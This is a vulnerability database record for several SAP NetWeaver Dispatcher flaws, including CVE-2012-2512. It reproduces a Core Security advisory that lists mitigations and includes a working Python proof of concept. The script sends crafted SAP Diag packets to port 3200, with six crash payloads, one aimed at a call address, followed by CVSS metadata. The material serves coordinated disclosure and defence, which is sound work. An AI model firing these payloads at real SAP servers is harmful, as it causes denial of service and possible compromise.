var-201205-0130
Vulnerability from variot

The DiagTraceStreamI function in disp+work.exe 7010.29.15.58313 and 7200.70.18.23869 in the Dispatcher in SAP NetWeaver 7.0 EHP1 and EHP2 allows remote attackers to cause a denial of service (daemon crash) via a crafted SAP Diag packet. SAP NetWeaver is prone to a remote code-execution vulnerability and multiple denial-of-service vulnerabilities. Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or crash the application. ----------------------------------------------------------------------

Become a PSI 3.0 beta tester! Test-drive the new beta version and tell us what you think about its extended automatic update function and significantly enhanced user-interface. Download it here! http://secunia.com/psi_30_beta_launch

TITLE: SAP NetWeaver Denial of Service and Code Execution Vulnerabilities

SECUNIA ADVISORY ID: SA48980

VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/48980/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=48980

RELEASE DATE: 2012-05-09

DISCUSS ADVISORY: http://secunia.com/advisories/48980/#comments

AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s)

http://secunia.com/advisories/48980/

ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS

https://ca.secunia.com/?page=viewadvisory&vuln_id=48980

ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING

http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/

DESCRIPTION: Core Security Technologies has reported multiple vulnerabilities in SAP NetWeaver, which can be exploited by malicious people to cause a DoS (Denial of Service) and compromise a vulnerable system.

The vulnerabilities are reported in versions 7.0 EHP1 and 7.0 EHP2.

Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/

PROVIDED AND/OR DISCOVERED BY: Martin Gallo, Core Security Technologies.

ORIGINAL ADVISORY: http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities

OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/

DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/

EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/

EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/

EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/

About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities.

Subscribe: http://secunia.com/advisories/secunia_security_advisories/

Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/

Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.

Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org

. Advisory Information

Title: SAP Netweaver Dispatcher Multiple Vulnerabilities Advisory ID: CORE-2012-0123 Advisory URL: http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities Date published: 2012-05-08 Date of last update: 2012-05-08 Vendors contacted: SAP Release mode: Coordinated release

  1. Vulnerability Information

Class: Buffer overflow [CWE-119] Impact: Code execution, Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2011-1516, CVE-2011-1517, CVE-2012-2511, CVE-2012-2512, CVE-2012-2513, CVE-2012-2514

  1. Vulnerability Description

SAP Netweaver [1] is a technology platform for building and integrating SAP business applications. By sending different messages, the different vulnerabilities can be triggered.

  1. Vulnerable packages

. SAP Netweaver 7.0 EHP1 (disp+work.exe version v7010.29.15.58313). SAP Netweaver 7.0 EHP2 (disp+work.exe version v7200.70.18.23869). Older versions are probably affected too, but they were not checked.

  1. Non-vulnerable packages

. Vendor did not provide this information.

  1. Vendor Information, Solutions and Workarounds

SAP released the security note https://service.sap.com/sap/support/notes/1687910 regarding these issues. Contact SAP for further information.

Martin Gallo proposed the following actions to mitigate the impact of the vulnerabilities:

  1. Disable work processes' Developer Traces for the 'Dialog Processing' component (for the vulnerabilities [CVE-2011-1516], [CVE-2011-1517], [CVE-2012-2511] and [CVE-2012-2512]).
  2. Restrict access to the Dispatcher service's TCP ports (3200/3299) (for all vulnerabilities).

  3. Restrict access to the work process management transactions SM04/SM50/SM66 and profile maintenance RZ10/RZ20 (for the vulnerabilities [CVE-2011-1516], [CVE-2011-1517], [CVE-2012-2511] and [CVE-2012-2512]).

  4. Credits

These vulnerabilities were discovered and researched by Martin Gallo from http://www.coresecurity.com/content/services-overview-core-security-consulting-services. The publication of this advisory was coordinated by Fernando Miranda from http://www.coresecurity.com/content/corelabs-advisories .

  1. Technical Description / Proof of Concept Code

NOTE: (The tracing of 'Dialog processing' has to be in level 2 or 3 in order to exploit flaws [CVE-2011-1516], [CVE-2011-1517], [CVE-2012-2511] and [CVE-2012-2512]).

The following python script can be used to reproduce the vulnerabilities described below:

/----- import socket, struct from optparse import OptionParser

Parse the target options

parser = OptionParser() parser.add_option("-l", "--hostname", dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3200) (options, args) = parser.parse_args()

def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet)

def receive(sock): length = sock.recv(4) (length, ) = struct.unpack("!I", length) data = "" while len(data)<length: data+= sock.recv(length) return (length, data)

def initialize(sock): diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00" user_connect = "\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8" support_data = "\x10\x04\x0b\x00\x20" support_data+= "\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93" support_data+= "\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00" dpheader = "\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" dpheader+= struct.pack("I", len(diagheader + user_connect + support_data)) dpheader+= "\x00\xff\xff\xff\xff\xff\xff " dpheader+= "terminalXXXXXXX" dpheader+= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" send_packet(sock, dpheader + diagheader + user_connect + support_data)

def send_message(sock, message): diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00" step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01" eom = "\x0c" send_packet(sock, diagheader + step + message + eom)

Connect and send initialization packet

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((options.hostname, options.port)) initialize(connection) receive(connection)

-----/ In the following subsections, we give the python code that can be added after the script above in order to reproduce all vulnerabilities.

8.1. SAP Netweaver DiagTraceR3Info Vulnerability

[CVE-2011-1516] The vulnerability can be triggered when SAP Netweaver 'disp+work.exe' module process a specially crafted network packet. Malicious packets are processed by the vulnerable function 'DiagTraceR3Info' in the 'disp+work.exe' module when the Developer Trace is configured at levels 2 or 3 for the "Dialog processor" component of the "Dialog" work process handling the packet [2]. The following python code can be used to trigger the vulnerability:

/----- crash = "X"114 + "\xff\xff" # --> Unicode Address to call ! crash+= "Y"32 crash = "\x10\x06\x20" + struct.pack("!H", len(crash)) + crash send_message(connection, crash) -----/

8.2. This vulnerability could allow a remote unauthenticated attacker to conduct a denial of service attack against the vulnerable systems. The following python code can be used to trigger the vulnerability:

/----- crash = "\x12\x04\x18\xff\xff\xff\xffCrash!" send_message(connection, crash) -----/

8.3. This vulnerability could allow a remote unauthenticated attacker to conduct a denial of service attack. The following python code can be used to trigger the vulnerability:

/----- crash = "\x12\x09\x02\x00\x00\x00\x08" + "\x80"*8 send_message(connection, crash) -----/

8.4.

/----- crash = "\x10\x13\x09\x00\xFF\x12\x1A\x59\x51" send_message(connection, crash) -----/

8.5.

/----- crash = "\x10\x0c\x0e\x00\0a" + "A"*10 send_message(connection, crash) -----/

8.6. This vulnerability could allow a remote unauthenticated attacker to conduct a denial of service attack.

/----- crash = "\x10\x0f\x01\x00\x11" + "A"*17 send_message(connection, crash) -----/

  1. Report Timeline

. 2012-01-24: Core Security Technologies notifies the SAP team of the vulnerability, setting the estimated publication date of the advisory for February 21st, 2012. 2012-01-24: Core sends an advisory draft with technical details. 2012-01-24: The SAP team confirms the reception of the issue and asks to use the security ID 582820-2012 for further communication. SAP also notifies its terms and conditions [3], and asks for Core to commit to that guideline. 2012-02-01: The Core Advisories Team communicates that it has its own guidelines for the advisories publication process, which may conflict with SAP's guidelines. In particular, Core does not guarantee that the publication of the advisory will be postponed until a fix or patch is made available by SAP. If information about this vulnerability is partially or completely leaked by a third party, the advisory would be released immediately as forced release. Despite this, the Core team commits to comply with SAP's guidelines as much as possible. 2012-02-21: First release date missed. 2012-02-22: Core asks for the status of the fix and notifies that the release date was missed. 2012-02-23: SAP notifies that, because the development team has to downport the solutions for a huge bunch of software releases, the earliest release date for the patches would be May 8th 2012. 2012-02-23: Core re-schedules the advisory publication to May 8th. 2012-04-16: Core asks if the patching process is still on track to release patches on May 8th and requests a status of the fix. 2012-04-16: Vendor notifies that the release date is still planned for May 8th, but due to quality control processes this date cannot be guaranteed. 2012-05-04: Core notifies that everything is ready for publication and requests the vendor to confirm the release date and the list of affected platforms (no reply received). 2012-05-07: Core asks again for the status of the fix. 2012-05-08: SAP notifies that they have released the security note 1687910 [4] on May Patch Day 2012 and asks to include that information in [Sec. 6]. SAP also requests Core to remove all the technical information researched by Martin Gallo in [Sec. 8]. 2012-05-08: Core replies that the reporting of vulnerabilities is aimed at helping vulnerable users to understand and address the issues; the advisory will thus be released with the technical information. 2012-05-08: Advisory CORE-2012-0123 published.

  1. References

[1] http://www.sap.com/platform/netweaver/index.epx [2] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/cc212b3fa5296fe10000000a42189b/frameset.htm [3] SAP's legal information, terms and conditions http://www.sdn.sap.com/irj/sdn/security?rid=/webcontent/uuid/c05604f6-4eb3-2d10-eea7-ceb666083a6a#section46.

[4] SAP security note 1687910 https://service.sap.com/sap/support/notes/1687910.

  1. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

  1. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

  1. Disclaimer

The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

  1. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Show details on source website

To clipboard 

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201205-0130",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "netweaver",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "sap",
        "version": "7.0"
      },
      {
        "model": "netweaver",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "sap",
        "version": "7.0 ehp1 (disp+work.exe 7010.29.15.58313)"
      },
      {
        "model": "netweaver",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "sap",
        "version": "7.0 ehp2 (disp+work.exe 7200.70.18.23869)"
      },
      {
        "model": "netweaver ehp2",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "sap",
        "version": "7.0"
      },
      {
        "model": "netweaver ehp1",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "sap",
        "version": "7.0"
      }
    ],
    "sources": [
      {
        "db": "BID",
        "id": "53424"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-002402"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-2512"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201205-160"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [],
            "cpe_match": [
              {
                "cpe23Uri": "cpe:2.3:a:sap:netweaver:7.0:ehp1:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:sap:netweaver:7.0:ehp2:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2012-2512"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Core Security - Corelabs",
    "sources": [
      {
        "db": "BID",
        "id": "53424"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201205-160"
      }
    ],
    "trust": 0.9
  },
  "cve": "CVE-2012-2512",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "acInsufInfo": false,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "NVD",
            "availabilityImpact": "PARTIAL",
            "baseScore": 5.0,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 10.0,
            "impactScore": 2.9,
            "integrityImpact": "NONE",
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "severity": "MEDIUM",
            "trust": 1.0,
            "userInteractionRequired": false,
            "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "Low",
            "accessVector": "Network",
            "authentication": "None",
            "author": "NVD",
            "availabilityImpact": "Partial",
            "baseScore": 5.0,
            "confidentialityImpact": "None",
            "exploitabilityScore": null,
            "id": "CVE-2012-2512",
            "impactScore": null,
            "integrityImpact": "None",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "Medium",
            "trust": 0.9,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
            "version": "2.0"
          }
        ],
        "cvssV3": [],
        "severity": [
          {
            "author": "NVD",
            "id": "CVE-2012-2512",
            "trust": 1.8,
            "value": "MEDIUM"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201205-160",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "VULMON",
            "id": "CVE-2012-2512",
            "trust": 0.1,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2012-2512"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-002402"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-2512"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201205-160"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "The DiagTraceStreamI function in disp+work.exe 7010.29.15.58313 and 7200.70.18.23869 in the Dispatcher in SAP NetWeaver 7.0 EHP1 and EHP2 allows remote attackers to cause a denial of service (daemon crash) via a crafted SAP Diag packet. SAP NetWeaver is prone to a remote code-execution vulnerability and multiple denial-of-service vulnerabilities. \nSuccessfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or crash the application. ----------------------------------------------------------------------\n\nBecome a PSI 3.0 beta tester!\nTest-drive the new beta version and tell us what you think about its extended automatic update function and significantly enhanced user-interface. \nDownload it here!\nhttp://secunia.com/psi_30_beta_launch\n\n----------------------------------------------------------------------\n\nTITLE:\nSAP NetWeaver Denial of Service and Code Execution Vulnerabilities\n\nSECUNIA ADVISORY ID:\nSA48980\n\nVERIFY ADVISORY:\nSecunia.com\nhttp://secunia.com/advisories/48980/\nCustomer Area (Credentials Required)\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=48980\n\nRELEASE DATE:\n2012-05-09\n\nDISCUSS ADVISORY:\nhttp://secunia.com/advisories/48980/#comments\n\nAVAILABLE ON SITE AND IN CUSTOMER AREA:\n * Last Update\n * Popularity\n * Comments\n * Criticality Level\n * Impact\n * Where\n * Solution Status\n * Operating System / Software\n * CVE Reference(s)\n\nhttp://secunia.com/advisories/48980/\n\nONLY AVAILABLE IN CUSTOMER AREA:\n * Authentication Level\n * Report Reliability\n * Secunia PoC\n * Secunia Analysis\n * Systems Affected\n * Approve Distribution\n * Remediation Status\n * Secunia CVSS Score\n * CVSS\n\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=48980\n\nONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:\n * AUTOMATED SCANNING\n\nhttp://secunia.com/vulnerability_scanning/personal/\nhttp://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/\n\nDESCRIPTION:\nCore Security Technologies has reported multiple vulnerabilities in\nSAP NetWeaver, which can be exploited by malicious people to cause a\nDoS (Denial of Service) and compromise a vulnerable system. \n\nThe vulnerabilities are reported in versions 7.0 EHP1 and 7.0 EHP2. \n\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nPROVIDED AND/OR DISCOVERED BY:\nMartin Gallo, Core Security Technologies. \n\nORIGINAL ADVISORY:\nhttp://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities\n\nOTHER REFERENCES:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nDEEP LINKS:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXTENDED DESCRIPTION:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXTENDED SOLUTION:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXPLOIT:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\nprivate users keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. *Advisory Information*\n\nTitle: SAP Netweaver Dispatcher Multiple Vulnerabilities\nAdvisory ID: CORE-2012-0123\nAdvisory URL:\nhttp://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities\nDate published: 2012-05-08\nDate of last update: 2012-05-08\nVendors contacted: SAP\nRelease mode: Coordinated release\n\n\n2. *Vulnerability Information*\n\nClass: Buffer overflow [CWE-119]\nImpact: Code execution, Denial of service\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2011-1516, CVE-2011-1517, CVE-2012-2511, CVE-2012-2512,\nCVE-2012-2513, CVE-2012-2514\n\n\n3. *Vulnerability Description*\n\nSAP Netweaver [1] is a technology platform for building and integrating\nSAP business applications. By sending different messages, the different\nvulnerabilities can be triggered. \n\n\n4. *Vulnerable packages*\n\n   . SAP Netweaver 7.0 EHP1 (disp+work.exe version v7010.29.15.58313). SAP Netweaver 7.0 EHP2 (disp+work.exe version v7200.70.18.23869). Older versions are probably affected too, but they were not checked. \n\n\n5. *Non-vulnerable packages*\n\n   . Vendor did not provide this information. \n\n\n6. *Vendor Information, Solutions and Workarounds*\n\nSAP released the security note\nhttps://service.sap.com/sap/support/notes/1687910 regarding these\nissues. Contact SAP for further information. \n\nMartin Gallo proposed the following actions to mitigate the impact of\nthe vulnerabilities:\n\n   1. Disable work processes\u0027 Developer Traces for the \u0027Dialog\nProcessing\u0027 component (for the vulnerabilities [CVE-2011-1516],\n[CVE-2011-1517], [CVE-2012-2511] and [CVE-2012-2512]). \n   2. Restrict access to the Dispatcher service\u0027s TCP ports (3200/3299)\n(for all vulnerabilities). \n   3. Restrict access to the work process management transactions\nSM04/SM50/SM66 and profile maintenance RZ10/RZ20 (for the\nvulnerabilities [CVE-2011-1516], [CVE-2011-1517], [CVE-2012-2511] and\n[CVE-2012-2512]). \n\n\n7. *Credits*\n\nThese vulnerabilities were discovered and researched by Martin Gallo\nfrom\nhttp://www.coresecurity.com/content/services-overview-core-security-consulting-services. \nThe publication of this advisory was coordinated by Fernando Miranda\nfrom http://www.coresecurity.com/content/corelabs-advisories . \n\n\n8. *Technical Description / Proof of Concept Code*\n\n*NOTE:* (The tracing of \u0027Dialog processing\u0027 has to be in level 2 or 3 in\norder to exploit flaws [CVE-2011-1516], [CVE-2011-1517], [CVE-2012-2511]\nand [CVE-2012-2512]). \n\nThe following python script can be used to reproduce the vulnerabilities\ndescribed below:\n\n/-----\nimport socket, struct\nfrom optparse import OptionParser\n\n# Parse the target options\nparser = OptionParser()\nparser.add_option(\"-l\", \"--hostname\", dest=\"hostname\", help=\"Hostname\",\ndefault=\"localhost\")\nparser.add_option(\"-p\", \"--port\", dest=\"port\", type=\"int\", help=\"Port\nnumber\", default=3200)\n(options, args) = parser.parse_args()\n\ndef send_packet(sock, packet):\n    packet = struct.pack(\"!I\", len(packet)) + packet\n    sock.send(packet)\n\ndef receive(sock):\n    length = sock.recv(4)\n    (length, ) = struct.unpack(\"!I\", length)\n    data = \"\"\n    while len(data)\u003clength:\n        data+= sock.recv(length)\n    return (length, data)\n\ndef initialize(sock):\n    diagheader = \"\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\"\n    user_connect =\n\"\\x10\\x04\\x02\\x00\\x0c\\x00\\x00\\x00\\xc8\\x00\\x00\\x04\\x4c\\x00\\x00\\x0b\\xb8\"\n    support_data = \"\\x10\\x04\\x0b\\x00\\x20\"\n    support_data+=\n\"\\xff\\x7f\\xfa\\x0d\\x78\\xb7\\x37\\xde\\xf6\\x19\\x6e\\x93\\x25\\xbf\\x15\\x93\"\n    support_data+=\n\"\\xef\\x73\\xfe\\xeb\\xdb\\x51\\xed\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    dpheader =\n\"\\xff\\xff\\xff\\xff\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\"\n    dpheader+= struct.pack(\"I\", len(diagheader + user_connect +\nsupport_data))\n    dpheader+=\n\"\\x00\\xff\\xff\\xff\\xff\\xff\\xff                                        \"\n    dpheader+= \"terminalXXXXXXX\"\n    dpheader+=\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00                   \n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    send_packet(sock, dpheader + diagheader + user_connect + support_data)\n\ndef send_message(sock, message):\n    diagheader = \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    step = \"\\x10\\x04\\x26\\x00\\x04\\x00\\x00\\x00\\x01\"\n    eom = \"\\x0c\"\n    send_packet(sock, diagheader + step + message + eom)\n\n# Connect and send initialization packet\nconnection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nconnection.connect((options.hostname, options.port))\ninitialize(connection)\nreceive(connection)      \n\n-----/\n In the following subsections, we give the python code that can be added\nafter the script above in order to reproduce all vulnerabilities. \n\n\n8.1. *SAP Netweaver DiagTraceR3Info Vulnerability*\n\n[CVE-2011-1516] The vulnerability can be triggered when SAP Netweaver\n\u0027disp+work.exe\u0027 module process a specially crafted network packet. \nMalicious packets are processed by the vulnerable function\n\u0027DiagTraceR3Info\u0027 in the \u0027disp+work.exe\u0027 module when the Developer Trace\nis configured at levels 2 or 3 for the \"Dialog processor\" component of\nthe \"Dialog\" work process handling the packet [2]. The\nfollowing python code can be used to trigger the vulnerability:\n\n/-----\ncrash = \"X\"*114 + \"\\xff\\xff\" # --\u003e Unicode Address to call !\ncrash+= \"Y\"*32\ncrash = \"\\x10\\x06\\x20\" + struct.pack(\"!H\", len(crash)) + crash\nsend_message(connection, crash)\n-----/\n\n\n\n8.2. This vulnerability could allow a\nremote unauthenticated attacker to conduct a denial of service attack\nagainst the vulnerable systems. The following python code can be used to\ntrigger the vulnerability:\n\n/-----\ncrash = \"\\x12\\x04\\x18\\xff\\xff\\xff\\xffCrash!\"\nsend_message(connection, crash)\n-----/\n\n\n\n8.3. This vulnerability could allow a remote\nunauthenticated attacker to conduct a denial of service attack. The\nfollowing python code can be used to trigger the vulnerability:\n\n/-----\ncrash = \"\\x12\\x09\\x02\\x00\\x00\\x00\\x08\" + \"\\x80\"*8\nsend_message(connection, crash)\n-----/\n\n\n\n8.4. \n\n/-----\ncrash = \"\\x10\\x13\\x09\\x00\\xFF\\x12\\x1A\\x59\\x51\"\nsend_message(connection, 